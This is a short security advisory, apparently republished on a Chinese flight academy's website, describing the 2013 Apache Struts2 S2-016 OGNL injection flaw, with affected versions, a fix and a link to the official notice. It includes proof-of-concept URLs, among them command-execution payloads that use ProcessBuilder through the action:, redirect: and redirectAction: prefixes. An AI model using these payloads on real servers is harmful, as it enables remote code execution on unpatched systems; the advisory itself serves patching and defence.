欢迎来到中国民用航空飞行学院官网!

当前位置: 安全服务 > 正文

安全服务

最新热点

struts2最新s2-016代码执行漏洞

发布时间:2015-03-02

影响版本:

    Struts 2.0.0 – Struts 2.3.15

漏洞说明:

    The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with action:” or redirect:, followed by a desired navigational target Expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following action:redirect:” or redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL Expression against the value stack, this introduces the possibility to inject server side code.

 

测试POC

    In the Struts Blank App, open following URLs.

Simple Expression – the parameter names are evaluated as OGNL.

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{command,goes,here})).start()}

 

解决方法:

    DefaultActionMapper was changed to sanitize action:-prefixed information properly. The features involved with redirect:/redirectAction:-prefixed parameters were completely dropped – see also S2-017.

官方说明:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

 

摘自 http://www.hx95.com/Notice/Bug/201311/75887.html